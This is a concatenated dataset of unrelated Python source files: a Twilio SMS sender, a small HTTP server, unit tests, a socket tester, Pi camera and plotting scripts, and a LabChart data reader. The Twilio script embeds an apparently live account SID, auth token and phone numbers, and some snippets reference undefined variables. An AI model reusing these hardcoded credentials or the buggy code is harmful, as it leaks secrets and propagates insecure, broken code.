self.grid[6][3].setObj(self.hero)\n\n\n\n","sub_path":"rooms/lvl_prologue.py","file_name":"lvl_prologue.py","file_ext":"py","file_size_in_byte":1900,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"624930436","text":"# Download the helper library from https://www.twilio.com/docs/python/install\r\nfrom twilio.rest import Client\r\n\r\n\r\n# Your Account Sid and Auth Token from twilio.com/console\r\n# DANGER! This is insecure. See http://twil.io/secure\r\naccount_sid = 'AC98b32d425865b0ce8e5313800a546dfd'\r\nauth_token = 'be20f58b42bcf9a80581160bb90bcc46'\r\n\r\nclient = Client(account_sid, auth_token)\r\n\r\nmessage = client.messages \\\r\n .create(\r\n body=(\"Hey there, need help this is my live location. Follow the link- {}\".format(\"url\")),\r\n from_='+16232330864',\r\n to='+918283920044',\r\n media_url=['https://demo.twilio.com/owl.png']\r\n )\r\n\r\nprint(message.sid)\r\n","sub_path":"The Quanta/sendsms2.py","file_name":"sendsms2.py","file_ext":"py","file_size_in_byte":740,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"108893957","text":"#!/usr/bin/env python\n\n'''\nBased on https://gist.github.com/chrisbolin/2e90bc492270802d00a6\n'''\n\nimport os\nfrom http.server import SimpleHTTPRequestHandler\nimport socketserver as SocketServer\nfrom urllib.parse import urlparse\n\nPORT = 4200\nINDEXFILE = 'index.html'\n\nclass MyHandler(SimpleHTTPRequestHandler):\n def do_GET(self):\n\n # Parse query data to find out what was requested\n parsedParams = urlparse(self.path)\n\n # See if the file requested exists\n if os.access('.' + os.sep + parsedParams.path, os.R_OK):\n # File exists, serve it up\n SimpleHTTPRequestHandler.do_GET(self);\n else:\n # send index.html, but don't redirect\n self.send_response(200)\n self.send_header('Content-Type', 'text/html')\n self.end_headers()\n with open(INDEXFILE, 'rb') as fin:\n self.copyfile(fin, self.wfile)\n\nHandler = MyHandler\n\nhttpd = SocketServer.TCPServer((\"\", PORT), Handler)\n\nprint(\"serving at port\", PORT)\nhttpd.serve_forever()\n","sub_path":"webapp/scripts/py_server.py","file_name":"py_server.py","file_ext":"py","file_size_in_byte":990,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"642470586","text":"from datetime import datetime, time, timedelta\nfrom spoken_time import *\nfrom spoken_time import _\n\nif __name__ == '__main__': # Test code\n \n for t in ( datetime.now().time(),\n time( 11, 30), time( 12 ), time( 13, 15),\n time( 1, 20), time( 3, 45), time( 15, 50),\n time( 23, 30), time( 0 ), time( 0, 10)):\n print( t, _('It is {time}.').format( time=spoken_time( t)))\n \n print()\n today = datetime.now().date()\n for delta in range( -14, 14):\n date = today + timedelta( delta)\n print( date,\n _('Today is {date}.').format( date=absolute_spoken_date( date)),\n '/', relative_spoken_date( date))\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":688,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"97198045","text":"import pytest\nimport tensorflow as tf\nfrom packaging.version import parse as version\n\nfrom tf_keras_vis.utils import num_of_gpus, find_layer\n\n\nclass TestUtils():\n def test_num_of_gpus_if_no_gpus(self, monkeypatch):\n def list_physical_devices(name):\n return None\n\n def list_logical_devices(name):\n return None\n\n if version(tf.version.VERSION) < version(\"2.1.0\"):\n monkeypatch.setattr(tf.config.experimental, \"list_physical_devices\",\n list_physical_devices)\n monkeypatch.setattr(tf.config.experimental, \"list_logical_devices\",\n list_logical_devices)\n\n else:\n monkeypatch.setattr(tf.config, \"list_physical_devices\", list_physical_devices)\n monkeypatch.setattr(tf.config, \"list_logical_devices\", list_logical_devices)\n a, b, = num_of_gpus()\n assert a == 0\n assert b == 0\n\n def test_num_of_gpus(self, monkeypatch):\n def list_physical_devices(name):\n return ['dummy-a', 'dummy-b']\n\n def list_logical_devices(name):\n return ['a1', 'a2', 'b1', 'b2']\n\n if version(tf.version.VERSION) < version(\"2.1.0\"):\n monkeypatch.setattr(tf.config.experimental, \"list_physical_devices\",\n list_physical_devices)\n monkeypatch.setattr(tf.config.experimental, \"list_logical_devices\",\n list_logical_devices)\n\n else:\n monkeypatch.setattr(tf.config, \"list_physical_devices\", list_physical_devices)\n monkeypatch.setattr(tf.config, \"list_logical_devices\", list_logical_devices)\n a, b, = num_of_gpus()\n assert a == 2\n assert b == 4\n\n @pytest.mark.parametrize(\"offset_of_child_layer\", [\n False,\n True,\n ])\n def test_find_layer(self, offset_of_child_layer, conv_model):\n model = tf.keras.Sequential([\n tf.keras.layers.Conv2D(3, 3, padding='same', input_shape=(8, 8, 3)),\n conv_model,\n tf.keras.layers.Dense(1),\n ])\n offset = conv_model.layers[-1] if offset_of_child_layer else None\n actual = find_layer(model, lambda l: l.name == 'conv-1', offset=offset)\n assert conv_model.get_layer(name='conv-1') == actual\n","sub_path":"tests/tf-keras-vis/utils/utils_test.py","file_name":"utils_test.py","file_ext":"py","file_size_in_byte":2326,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"628446878","text":"from picamera import PiCamera\nfrom time import sleep\nimport datetime\n\n\n\n\ncamera = PiCamera()\ncamera.rotation = 180\n\ndef timeStamp():\n return datetime.datetime.today().strftime('%Y-%m-%d-%H%M%S%f')\n\ndef camCapture():\n filename = timeStamp() + '.jpg'\n camera.start_preview()\n camera.annotate_text = \"Hello\" + timeStamp()\n sleep(2)\n \n try:\n camera.capture(filename)\n camera.stop_preview()\n camera.close()\n except:\n print('error saving image')\n\ndef camBurst(numPhoto, interval):\n # Burst capture\n\n try:\n \n camera.start_preview(alpha=100)\n for i in range(numPhoto):\n camera.annotate_text = \"Burst Photos\"\n sleep(interval)\n camera.capture(filename) \n\n camera.stop_preview()\n camera.close()\n\n except KeyboardInterrupt:\n print('Interrupted!')\n camera.stop_preview()\n camera.close()\n\ndef camVideo(t):\n camera.start_preview()\n filename = timeStamp() + '.h264'\n camera.start_recording(filename)\n sleep(t)\n camera.stop_recording()\n camera.stop_preview()\n\ndef highResPhoto():\n camera.resolution = (2592, 1944)\n camera.framerate = 15\n camera.start_preview()\n sleep(5)\n camera.capture(timeStamp()+'.jpg')\n camera.stop_preview()\n\n# Main\ntry:\n## camBurst(5,0.2)\n## camVideo(10)\n## camCapture()\n camera.start_preview()\n for effect in camera.IMAGE_EFFECTS:\n camera.image_effect = effect\n camera.annotate_text = (str(\"Effect: {}\".format(effect)))\n sleep(2)\n sleep(2)\n camera.stop_preview()\n\n\n \nexcept:\n \n print('Error!')\n camera.stop_preview()\n camera.close()\n\n\n# Ending\n\n","sub_path":"jcam.py","file_name":"jcam.py","file_ext":"py","file_size_in_byte":1698,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"470719517","text":"# Copyright 2019 Nathan Jay and Noga Rotman\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\nimport os\nimport sys\nimport inspect\nimport random\nimport matplotlib.pyplot as plt\n\n\ncurrentdir = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe())))\nparentdir = os.path.dirname(currentdir)\npparentdir = os.path.dirname(parentdir)\nsys.path.insert(0,pparentdir)\n\nfrom src.gym.parameter_readme import create_readmefile\nfrom src.gym.parameter_extractor import extract_parameters\n\nfrom src.common.simple_arg_parse import arg_or_default\n\nfrom src.gym.network_creator import get_env\n\nfrom src.gym.worker.aurora_worker import AuroraWorker\nfrom src.gym.worker.ogd_worker import OGDWorker\nfrom src.gym.worker.two_point_ogd_worker import TwoPointOGDWorker\nfrom src.gym.worker.combining_worker import CombiningWorker\n\nfrom src.gym.visualizer.multiple_sender_visualizer import MultipleSenderVisualizer\nfrom src.gym.visualizer.multiple_sender_stats_visualizer import MultipleSenderStatsVisualizer\n\nNUMBER_OF_EPOCHES = 1\nTIMES = 15000\nbws = [600]\n\nparams = extract_parameters()\n\ncomb_kwargs = params[\"comb_kwargs\"]\ntwo_point_kwargs = params[\"two_point_kwargs\"]\nOUTPUT = params[\"output\"]\noffset = params[\"offset\"]\n\n# Fix race cond bug\nif params[\"concurrent\"] == 1:\n import matplotlib\n matplotlib.use('Agg')\n\n\ncreate_readmefile(params)\n\nfor i in range(NUMBER_OF_EPOCHES):\n env = get_env(bws, 3, \"loss\")\n\n print(\"ENV\", env)\n\n model = CombiningWorker(\n (100, 600),\n env,\n [\n AuroraWorker(\"./rand_model_12\", env, (100, 600)),\n TwoPointOGDWorker(env, (100, 600), C=11 * 600, L=20, **two_point_kwargs)\n ],\n **comb_kwargs\n )\n\n model2 = CombiningWorker(\n (100, 600),\n env,\n [\n AuroraWorker(\"./rand_model_12\", env, (100, 600)),\n TwoPointOGDWorker(env, (100, 600), C=11 * 600, L=20, **two_point_kwargs)\n ],\n **comb_kwargs\n )\n\n\n model3 = CombiningWorker(\n (100, 600),\n env,\n [\n AuroraWorker(\"./rand_model_12\", env, (100, 600)),\n TwoPointOGDWorker(env, (100, 600), C=11 * 300, L=20, **two_point_kwargs)\n ],\n **comb_kwargs\n )\n\n start1 = random.uniform(100, 600)\n start2 = random.uniform(100, 600)\n start3 = random.uniform(100, 600)\n\n model.set_action(start1)\n model2.set_action(start2)\n model3.set_action(start3)\n\n vis = MultipleSenderStatsVisualizer(env, [model, model2, model3])\n vis.steps(TIMES, TIMES, 100)\n\n fig = vis.parse_data()\n\n fig.suptitle('COMB=(%d, %r, %.2f), TWOP=(%d, %r, %.2f),\\n START=(%.0f, %.0f)' % (comb_lr, comb_lower_lr, comb_min_proba, twop_lr, twop_lower_lr, twop_delta, start1, start2), fontsize=16)\n fig.savefig(OUTPUT + \"/%d.png\" % i)\n plt.show()\n vis._save_data(OUTPUT + \"/%d.json\" % i)\n","sub_path":"src/gym/test_vis_three.py","file_name":"test_vis_three.py","file_ext":"py","file_size_in_byte":3338,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"296695909","text":"def getRgba (*color):\r\n return 'rgba({},{},{},{})'.format (*color)\r\n \r\ndef getHex (*color):\r\n result = ''\r\n for component in color [:3]:\r\n result += hexDigits [component // 16] + hexDigits [component % 16]\r\n return result\r\n \r\nhexDigits = '0123456789abcdef'\r\n\r\nblack = getHex (0,0,0,1)\r\nwhite = getHex (255, 255, 255, 1)\r\n\r\nlogoRed = getHex (255, 68, 34, 1)\r\nlogoGreen = getHex (34, 136, 0, 1)\r\nlogoBlue = getHex (51, 102, 255, 1)\r\nlogoYellow = getHex (255, 176, 0, 1)\r\n\r\ndarkBrown = getHex (102, 68, 34, 1)\r\nlightBrown = getHex (170, 119, 68, 1)\r\n\r\ntransparentLogoGreen = getRgba (34, 136, 0, 0.8)\r\nveryTransparentLogoGreen = getRgba (34, 136, 0, 0.1)\r\n\r\ntransparentLogoBlue = getRgba (51, 102, 255, 0.7)\r\nveryTransparentLogoBlue = getRgba (51, 102, 255, 0.1)\r\n\r\nlightGray = getHex (245, 245, 245)\r\nmiddleGray = getHex (231, 231, 231)\r\ndarkGray = getHex (208,208,208)\r\nsplashGray = getHex (90, 90, 90)\r\nfixedGray = getHex (60, 60, 60)\r\n\r\npanoramaPink = getHex (229, 217, 217)\r\npanoramaPurple = getHex (41, 23, 23)\r\n\r\nclass Stripe:\r\n def __init__ (self, colors = [white, lightGray]):\r\n self.colors = colors;\r\n self.nColors = len (self.colors)\r\n self.iColor = -1\r\n\r\n def __call__ (self):\r\n self.iColor = (self.iColor + 1) % self.nColors\r\n return self.colors [self.iColor]\r\n \r\ndef indent (plainText):\r\n return '\\n'.join ([' ' + line for line in plainText.replace ('\\t', ' ') .split ('\\n')])\r\n \r\ndef encodeTags (plainText):\r\n return plainText.replace ('<', '<') .replace ('>', '>')\r\n\r\ndef decodeTags (encodedText):\r\n return encodedText.replace ('<', '<') .replace ('>', '>')\r\n \r\ndef listDemo (fileName, app):\r\n editModes = {\r\n 'html': 'htmlmixed',\r\n 'py': 'python',\r\n 'js': 'javascript',\r\n 'css': 'css',\r\n 'manifest': 'htmlmixed'\r\n }\r\n \r\n return '''\r\n Code in ''' + fileName + ''':\r\n \r\n '''\r\n \r\ndef runDemo (name):\r\n return '''\r\n \r\n Run the \\'''' + name + '''\\' example\r\n \r\n '''\r\n ","sub_path":"tsfiddle.org/static/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":2337,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"337086843","text":"from tkinter import *\nfrom data import functions;\nfrom data import factions;\nfrom data import gui_content;\nfrom data import event_functions;\n\ndef init(gui):\n\tgui.hook.onStartGame.register(startGame);\n\tgui.hook.onScreenReload.register(overlay);\n\tgui.hook.onItemAdd.register(item_add);\n\tgui.hook.onItemRemove.register(item_remove);\n\tgui.hook.onFactionValue.register(faction_value);\n\tgui.texts = [];\n\ndef overlay(*back, **gui):\n\tif hasattr(gui[\"gui\"], \"last_event\"):\n\t\t#Label(back[0], bg=\"White\", width=functions.pro_size(1,0), height=functions.pro_size(1,1)).place(y=functions.pro_size(1,1), x=functions.pro_size(80,0), anchor=N)\n\t\ti=0;\n\t\tfor text in gui[\"gui\"].texts:\n\t\t\ti+=1;\n\t\t\ti2=(i-1)*2.5+1;\n\t\t\tif not i > 5:\n\t\t\t\tLabel(back[0], bg=\"Gold2\", text=text[0], font=gui_content.ch_fontsize(\"15\"), fg=text[1]).place(y=functions.pro_size(i2,1),x=functions.pro_size(80,0), anchor=NW);\ndef item_add(*args, **keyargs):\n\tfunctions.addmsg(keyargs[\"gui\"], \"+ \"+args[0]+\" (\"+str(args[1])+\")\", \"green\");\ndef item_remove(*args, **keyargs):\n\tfunctions.addmsg(keyargs[\"gui\"], \"- \"+args[0]+\" (\"+str(args[1])+\")\", \"red\");\ndef faction_value(*args, **keyargs):\n\tif args[2] > 0:\n\t\tfunctions.addmsg(keyargs[\"gui\"], \"/\\ \"+args[0][\"name\"]+\" (\"+str(args[2])+\"%)\", \"green\");\n\telse:\n\t\tfunctions.addmsg(keyargs[\"gui\"], \"\\/ \"+args[0][\"name\"]+\" (\"+str(args[2]*-1)+\"%)\", \"red\");\ndef startGame(*args, **keyargs):\n\tfactions.register({\"name\":\"KNA\",\"value2\":97,\"value\":10});\n\tevent_functions.adddoc(\"KNA-Dokument #1\",\"kna1\");","sub_path":"mods/main/init.py","file_name":"init.py","file_ext":"py","file_size_in_byte":1489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"555379780","text":"#!/usr/bin/python3\n\n#############\n# Server: python3 p2ptester.py\n# Client: python3 p2ptester.py -c 127.0.0.1\n#############\n\n\nimport argparse\nimport sys\nimport socket\nimport select\n\n\ndef tcpserver(port, IPv6=False, timeout=10):\n\n if IPv6:\n print('Serving on IPv6, port {}, for {} seconds'.format(str(port), timeout))\n else:\n print('Serving on IPv4, port {}, for {} seconds'.format(str(port), timeout))\n \n\n if IPv6:\n sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)\n else:\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) \n\n sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) \n\n sock.settimeout(timeout)\n sock.bind( ('',port) )\n\n try:\n sock.listen(1)\n conn,addr = sock.accept()\n with conn:\n print('\\tConnection from: ', addr)\n\n data = conn.recv(1024)\n conn.send(data[:len(data)])\n \n sock.close()\n return True\n\n except socket.timeout:\n \n return False\n\n \n\n\ndef serverTests():\n if not tcpserver(8080):\n print('No connection made before timeout')\n\n\ndef tcpclient(addr,port, IPv6=False, timeout=10):\n msg = b'the quick brown fox jumps over the lazy dog'\n\n if IPv6:\n print('Connecting on IPv6, port {}, for {} seconds'.format(str(port), timeout))\n else:\n print('Connecting on IPv4, port {}, for {} seconds'.format(str(port), timeout))\n\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n sock.settimeout(timeout)\n \n sock.connect( (addr,port) )\n sock.send( msg[:len(msg)] )\n \n \n data = sock.recv(1024)\n\n if data == msg:\n return True\n else:\n return False\n\ndef clientTests(addr):\n\n if tcpclient(addr,8080):\n print(\"\\tSUCCESS!\")\n else:\n print(\"\\tFailure\")\n\n\n\n\nif __name__ == \"__main__\":\n\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-c\", \"--client\", type=str, help=\"Connect to server specified in argument\")\n parser.add_argument(\"-t\", \"--timeout\", type=int, help=\"How long to wait before server times out. Not used for client.\")\n\n args = parser.parse_args()\n if args.client:\n clientTests(args.client)\n\n else:\n serverTests()\n \n\n\n","sub_path":"p2ptester.py","file_name":"p2ptester.py","file_ext":"py","file_size_in_byte":2254,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"577668226","text":"import unittest\n\nimport mock\n\nfrom webapp import home\n\n\nclass HomeViewTest(unittest.TestCase):\n @mock.patch('webapp.request')\n def test_get_request(self, request_mock):\n request_mock.method = 'GET'\n\n html = home()\n\n self.assertIn(' 1 and list[-1] in filter:\n newfilename = jtof(list[0]) + \".\" + list[-1]\n os.rename(filename, newfilename)\n \nif __name__ == '__main__': \n if len(sys.argv) > 1:\n renamer(sys.argv[1])\n else: \n renamer(os.getcwd()+'/.')\n","sub_path":"jf.py","file_name":"jf.py","file_ext":"py","file_size_in_byte":728,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"519458423","text":"import numpy as np\nfrom PySide import QtGui, QtCore\nimport sharppy.sharptab as tab\nfrom scipy.misc import bytescale\nfrom sharppy.sharptab.constants import *\n\n__all__ = ['backgroundWinds', 'plotWinds']\n\nclass backgroundWinds(QtGui.QFrame):\n '''\n Handles the plotting of the frame boarders and ticks.\n '''\n def __init__(self):\n super(backgroundWinds, self).__init__()\n self.initUI()\n\n\n def initUI(self):\n ## initialize plot window variables,\n ## such as width, height, padding, and\n ## min/max axes variables\n self.lpad = 0; self.rpad = 0\n self.tpad = 0; self.bpad = 20\n self.wid = self.size().width() - self.rpad\n self.hgt = self.size().height() - self.bpad\n self.tlx = self.rpad; self.tly = self.tpad\n self.brx = self.wid; self.bry = self.hgt\n ## minimum/maximum height (km) and wind values.\n ## used in converting to pixel units\n self.hmax = 16.; self.hmin = 0.\n self.smax = 70.; self.smin = 0.\n self.label_font = QtGui.QFont('Helvetica', 7)\n\n def resizeEvent(self, e):\n '''\n Handles the event the window is resized.\n '''\n self.initUI()\n \n def paintEvent(self, e):\n '''\n Handles the paint event. This paints the frame background.\n '''\n ## initialize a QPainter object for drawing\n qp = QtGui.QPainter()\n qp.begin(self)\n ## draw the background frame\n self.draw_frame(qp)\n ## draw the ticks for the plot.\n ## height is in km.\n for h in [2,4,6,8,10,12,14]:\n self.draw_height(h, qp)\n for s in range(0,100,10):\n self.draw_speed(s, qp)\n qp.end()\n\n def draw_frame(self, qp):\n '''\n Draws the background frame.\n ------\n qp: QtGui.QPainter object\n '''\n ## initialize a new pen with white color, thickness of 2, solid line.\n pen = QtGui.QPen(QtCore.Qt.white, 2, QtCore.Qt.SolidLine)\n qp.setPen(pen)\n qp.setFont(self.label_font)\n qp.drawText(15, 5, 45, 35,\n QtCore.Qt.AlignVCenter | QtCore.Qt.AlignHCenter,\n 'SR Wind\\nv.\\nHeight')\n ## draw the frame borders\n qp.drawLine(self.tlx, self.tly, self.brx, self.tly)\n qp.drawLine(self.brx, self.tly, self.brx, self.bry)\n qp.drawLine(self.brx, self.bry, self.tlx, self.bry)\n qp.drawLine(self.tlx, self.bry, self.tlx, self.tly)\n pen = QtGui.QPen(QtCore.Qt.white, 1, QtCore.Qt.DashLine)\n qp.setPen(pen)\n zero = self.speed_to_pix(20.)\n qp.drawLine( zero, self.bry, zero, self.tly)\n lower = self.hgt_to_pix(8.)\n upper = self.hgt_to_pix(16.)\n classic1 = self.speed_to_pix(45.)\n classic2 = self.speed_to_pix(70.)\n pen = QtGui.QPen(QtGui.QColor(\"#B1019A\"), 1, QtCore.Qt.DashLine)\n qp.setPen(pen)\n qp.drawLine( classic1, lower, classic1, upper )\n qp.drawLine( classic2, lower, classic2, upper )\n qp.drawText(classic1-5, 2, 50, 50,\n QtCore.Qt.AlignVCenter | QtCore.Qt.AlignHCenter,\n 'Classic\\nSupercell')\n ## draw the plot description text\n\n def draw_height(self, h, qp):\n '''\n Draw background height ticks in km.\n ---------\n h: height in km\n qp: QtGui.QPainter object\n \n '''\n ## initialize a pen with color white, thickness 1, solid line\n pen = QtGui.QPen(QtGui.QColor(\"#FFFFFF\"), 1, QtCore.Qt.SolidLine)\n qp.setPen(pen)\n qp.setFont(self.label_font)\n ## convert the height value to pixel coordinates\n y1 = self.hgt_to_pix(h)\n ## length of tick to be drawn\n offset = 5\n ## draw the tick and then label the tick with the value\n qp.drawLine(self.lpad, y1, self.lpad+offset, y1)\n qp.drawLine(self.brx+self.rpad-offset, y1,\n self.brx+self.rpad, y1)\n qp.drawText(0, y1-20, 20, 40,\n QtCore.Qt.AlignVCenter | QtCore.Qt.AlignRight,\n str(int(h)))\n\n def draw_speed(self, s, qp):\n '''\n Draw background speed ticks.\n --------\n s: windpeed\n qp: QtGui.QPainter object\n \n '''\n ## initialize a pen with white color, thickness 1, solid line\n pen = QtGui.QPen(QtGui.QColor(\"#FFFFFF\"), 1, QtCore.Qt.SolidLine)\n qp.setPen(pen)\n qp.setFont(self.label_font)\n ## convert wind speed values to pixel values\n x1 = self.speed_to_pix(s)\n ## length of tick to be drawn\n offset = 5\n qp.drawLine(x1, 0, x1, 0+offset)\n qp.drawLine(x1, self.bry+self.tpad-offset,\n x1, self.bry+self.rpad)\n\n def hgt_to_pix(self, h):\n '''\n Function to convert a height value (km) to a Y pixel.\n '''\n scl1 = self.hmax - self.hmin\n scl2 = self.hmin + h\n return self.bry - (scl2 / scl1) * (self.bry - self.tpad)\n\n def speed_to_pix(self, s):\n '''\n Function to convert a wind speed value to a X pixel.\n '''\n scl1 = self.smax - self.smin\n scl2 = self.smax - s\n return self.bry - (scl2 / scl1) * (self.bry - self.rpad)\n\nclass plotWinds(backgroundWinds):\n def __init__(self, prof):\n super(plotWinds, self).__init__()\n ## make the data accessable to the functions\n self.prof = prof\n self.u = prof.u; self.v = prof.v\n ## calculate the storm relative wind from the bunkers motion function\n self.srwind = prof.srwind\n ## get only the right mover u and v components\n self.sru = self.u - self.srwind[0]\n self.srv = self.v - self.srwind[1]\n\n def resizeEvent(self, e):\n '''\n Handles when the window is resized.\n '''\n super(plotWinds, self).resizeEvent(e)\n \n def paintEvent(self, e):\n '''\n Handles painting the plot data.\n '''\n super(plotWinds, self).paintEvent(e)\n ## initialize a QPainter objext\n qp = QtGui.QPainter()\n qp.begin(self)\n ## draw the wind profile\n self.draw_profile(qp)\n qp.end()\n\n def draw_profile(self, qp):\n '''\n Draws the storm relative wind profile.\n --------\n qp: QtGui.QPainter object\n '''\n ## initialize a pen with a red color, thickness of 2, solid line\n pen = QtGui.QPen(QtGui.QColor(\"#FF0000\"), 2)\n pen.setStyle(QtCore.Qt.SolidLine)\n ## if there are missing values, get the mask\n try:\n mask = np.maximum(self.sru.mask, self.srv.mask)\n sru = self.sru[~mask]\n srv = self.srv[~mask]\n hgt = self.prof.hght[~mask]\n ## otherwise the data is fine\n except:\n sru = self.sru\n srv = self.srv\n hgt = self.prof.hgtht\n ## loop through the vertical profile.\n ## we go through length - 1 because we index i and i+1\n for i in range( hgt.shape[0] - 1 ):\n ## get the height and winds at two consecutive heights\n ## don't forget to convert the height from meters to\n ## kilometers; divide by 1000\n hgt1 = hgt[i] / 1000; hgt2 = hgt[i+1] / 1000\n sru1 = sru[i]; sru2 = sru[i+1]\n srv1 = srv[i]; srv2 = srv[i+1]\n ## calculate the storm relative wind speed\n spd1 = np.sqrt( sru1**2 + srv1**2 )\n spd2 = np.sqrt( sru2**2 + srv2**2 )\n ## convert the wind speeds to x pixels\n x1 = self.speed_to_pix( spd1 ); x2 = self.speed_to_pix(spd2)\n ## convert the height values to y pixels\n y1 = self.hgt_to_pix(hgt1); y2 = self.hgt_to_pix(hgt2)\n ## draw a line between the two points\n qp.setPen(pen)\n qp.drawLine(x1, y1, x2, y2)\n\n\n","sub_path":"sharppy/viz/srwinds.py","file_name":"srwinds.py","file_ext":"py","file_size_in_byte":7889,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"327768909","text":"from django.urls import path\n\nfrom app.api.region.views import CityListView, DistrictListView, DistrictCreateView, CityCreateView, DistrictUpdateView, CityUpdateView, DistrictDeleteView, CityDeleteView\n\nurlpatterns = [\n path('city/list/', CityListView.as_view(), name='city-list-api'),\n path('district/list/', DistrictListView.as_view(), name='district-list-api'),\n path('city/create/', CityCreateView.as_view(), name='city-create-api'),\n path('district/create/', DistrictCreateView.as_view(), name='district-create-api'),\n path('district/update/', DistrictUpdateView.as_view(), name='district-update-api'),\n path('city/update/', CityUpdateView.as_view(), name='city-update-api'),\n path('district/delete/', DistrictDeleteView.as_view(), name='district-delete-api'),\n path('city/delete/', CityDeleteView.as_view(), name='city-delete-api'),\n\n]","sub_path":"app/api/region/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":897,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"289009611","text":"#This file will contain all main functions used to process labchart dropout text files.\r\n#Currently, these are implemented in SingleFileLabchartProcess.py and MultiFileLabchartProcess.py\r\n#Will use those files as a basis for these functions\r\n#those file are to remain intact until a functions based script is completed and tested\r\n\r\n\r\n#Imports\r\nimport pandas as pd\r\n\r\n\r\n\r\n\r\n\r\n\r\n#---------------------------------------------------------------------------------------------------------------------#\r\n#Function Read_Header - Confirmed to work\r\n#This function will read in the header info from a labchart txt file, save the header to the verbose text file output\r\n#Will also extract the Column names and pass that back to be used outside the function\r\n\r\n#Inputs:\r\n #Input_FileName = Filename of header to read\r\n #Output_FileName = Filename for verbose output\r\n #P_channels = Number of columns of data to process - used for extracting column info\r\n #Debug = If 1 then Debug info is shown\r\n\r\n#Outputs:\r\n #Interval_float = Interval for data\r\n #Column names = used for main data prcessing\r\n\r\n\r\n#Function Call from outside script\r\ndef read_header(Input_FileName,Output_FileName,P_channels,Debug):\r\n outputfile = open(Output_FileName, 'a+') # open and append (or create if it doesn't exist) the output file for writing\r\n\r\n # -------------------------------------------------------------------------------------------#\r\n # Labchart HEADER INFO\r\n #\r\n \"\"\"\r\n #Header Info Format Example\r\n #Line 1 -- Interval= 0.0125s\r\n #Line 2 -- ExcelDateTime= 4.3844413444298669e+004 1/14/2020 9:55:21.587405\r\n #Line 3 -- TimeFormat= TimeOfDay None\r\n #Line 4 -- DateFormat= M/d/yyyy None\r\n #Line 5 -- ChannelTitle= 4M - S1- B969 Base 1 Com7 Channel 18\r\n #Line 6 -- Range= 53.49 mmHg 1.10 V\r\n \r\n #Additional Notes:\r\n #Channel Title will only provide exported channel names and not date column provided on export\r\n #Range will just provide total range of signal max - min\r\n #Only Channel Title will be useful in this script but others are saved for future use\r\n \"\"\"\r\n\r\n\r\n\r\n # Read in Header info from first 6 rows\r\n # Channels: In example below it is set to 4 or n+1 channels = 3 channels = 3\r\n Header_Info = pd.read_csv(Input_FileName, nrows=6, header=None, sep='\\t', engine='python', names=range(P_channels + 1), index_col=0)\r\n if Debug == 1:\r\n print(Header_Info)\r\n\r\n\r\n # -----------------------------------------------------------------------------------------#\r\n # Extract Sample Rate Interval and write to file\r\n # print(Header_Info[Header_Info.index.str.startswith('Interval')])# prints out row with info\r\n Interval = Header_Info.loc['Interval=', 1] # Interval string format will look like 0.0125 s\r\n Interval = Interval.split(' ') # split string to seperate out number\r\n Interval_float = float(Interval[0]) # cast number string to float\r\n print('Sample Rate Interval Value =', Interval_float, \"sec or \", 1 / Interval_float, \"Hz\")\r\n outputfile.write('Sample Rate Interval Value = ' + str(Interval_float) + \" sec or \" + str(1 / Interval_float) + \"Hz\" + \"\\n\")\r\n outputfile.close() # Close outputfile\r\n # -----------------------------------------------------------------------------------------#\r\n\r\n\r\n\r\n\r\n\r\n # -------------------------------------------------------------------------------------------#\r\n # Create Column Names for Main Data and output dataframe\r\n Col_Names = [\"Time-Sec\", \"Date\"] # Start the first two columns with Time and Date\r\n # Note: if data from labchart is extracted with Comments an additional column will have to be appended with Comments\r\n\r\n for x in range(len(Header_Info.columns)): # Extract Column names from header info\r\n Col_Names.append(Header_Info.loc['ChannelTitle=', (x + 1)]) # add column names to the series\r\n # print(x) # This will print the channel name Debug only\r\n if Debug == 1:\r\n print(\"Column Names:\")\r\n print(Col_Names) # Debug only\r\n # -------------------------------------------------------------------------------------------#\r\n\r\n\r\n return Interval_float, Col_Names\r\n\r\n\r\n#----------------------------------------------------------------------------------------------------------#\r\n#Read in Main Data Frame - Works\r\n#This function will take an file to read in multi-col data, will skip over the header and read the data into a\r\n#pandas Data frame\r\n#Will also remove any extra Header info inside of the data put in from Labchart\r\n#Inputs:\r\n #InputFileName\r\n #Col_Names\r\n #ChunkSize = 100k or 1mill to reduce ram usage for big files\r\n#Returns:\r\n #Data = Panadas Dataframe with all data to be processed\r\n\r\n#Function Call from outside script\r\ndef read_data(Input_FileName,Col_Names,ChunkSize, Debug):\r\n\r\n 